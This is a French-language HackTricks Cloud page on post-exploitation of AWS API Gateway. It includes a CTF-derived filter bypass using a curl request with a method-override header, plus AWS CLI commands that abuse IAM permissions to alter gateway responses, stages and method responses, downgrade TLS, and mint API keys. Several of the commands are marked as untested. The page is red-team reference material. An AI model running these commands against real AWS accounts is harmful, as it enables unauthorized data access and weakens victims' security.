AWS - API Gateway Post Exploitation
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
API Gateway
Pour plus d'informations, consultez :
Accéder aux API non exposées
Vous pouvez créer un point de terminaison dans https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint avec le service com.amazonaws.us-east-1.execute-api
, exposer le point de terminaison dans un réseau auquel vous avez accÚs (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions.
Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.
Contourner le passage du corps de la requĂȘte
Cette technique a été trouvée dans ce compte rendu CTF.
Comme indiqué dans la documentation AWS dans la section PassthroughBehavior
, par défaut, la valeur WHEN_NO_MATCH
, lors de la vĂ©rification de l'en-tĂȘte Content-Type de la requĂȘte, transmettra la requĂȘte au back-end sans transformation.
Par consĂ©quent, dans le CTF, la passerelle API avait un modĂšle d'intĂ©gration qui empĂȘchait le drapeau d'ĂȘtre exfiltrĂ© dans une rĂ©ponse lorsqu'une requĂȘte Ă©tait envoyĂ©e avec Content-Type: application/json
:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Cependant, l'envoi d'une requĂȘte avec Content-type: text/json
empĂȘcherait ce filtre.
Enfin, comme l'API Gateway n'autorisait que Get
et Options
, il Ă©tait possible d'envoyer une requĂȘte dynamoDB arbitraire sans aucune limite en envoyant une requĂȘte POST avec la requĂȘte dans le corps et en utilisant l'en-tĂȘte X-HTTP-Method-Override: GET
:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Plans d'utilisation DoS
Dans la section ĂnumĂ©ration, vous pouvez voir comment obtenir le plan d'utilisation des clĂ©s. Si vous avez la clĂ© et qu'elle est limitĂ©e Ă X utilisations par mois, vous pourriez simplement l'utiliser et provoquer un DoS.
La clĂ© API doit simplement ĂȘtre incluse dans un en-tĂȘte HTTP appelĂ© x-api-key
.
apigateway:UpdateGatewayResponse
, apigateway:CreateDeployment
Un attaquant avec les permissions apigateway:UpdateGatewayResponse
et apigateway:CreateDeployment
peut modifier une rĂ©ponse de passerelle existante pour inclure des en-tĂȘtes personnalisĂ©s ou des modĂšles de rĂ©ponse qui divulguent des informations sensibles ou exĂ©cutent des scripts malveillants.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accÚs non autorisé aux ressources API.
note
Besoin de tests
apigateway:UpdateStage
, apigateway:CreateDeployment
Un attaquant disposant des autorisations apigateway:UpdateStage
et apigateway:CreateDeployment
peut modifier une étape API Gateway existante pour rediriger le trafic vers une autre étape ou changer les paramÚtres de mise en cache pour obtenir un accÚs non autorisé aux données mises en cache.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : AccÚs non autorisé aux données mises en cache, perturbation ou interception du trafic API.
note
Besoin de tests
apigateway:PutMethodResponse
, apigateway:CreateDeployment
Un attaquant ayant les permissions apigateway:PutMethodResponse
et apigateway:CreateDeployment
peut modifier la rĂ©ponse de mĂ©thode d'une mĂ©thode API Gateway REST API existante pour inclure des en-tĂȘtes personnalisĂ©s ou des modĂšles de rĂ©ponse qui divulguent des informations sensibles ou exĂ©cutent des scripts malveillants.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accÚs non autorisé aux ressources API.
note
Besoin de tests
apigateway:UpdateRestApi
, apigateway:CreateDeployment
Un attaquant disposant des autorisations apigateway:UpdateRestApi
et apigateway:CreateDeployment
peut modifier les paramÚtres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : Affaiblissement de la sécurité de l'API, permettant potentiellement un accÚs non autorisé ou exposant des informations sensibles.
note
Besoin de tests
apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
, apigateway:CreateUsagePlanKey
Un attaquant avec les autorisations apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
, et apigateway:CreateUsagePlanKey
peut créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accÚs non autorisé aux APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Impact potentiel : AccÚs non autorisé aux ressources API, contournement des contrÎles de sécurité.
note
Besoin de tests
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.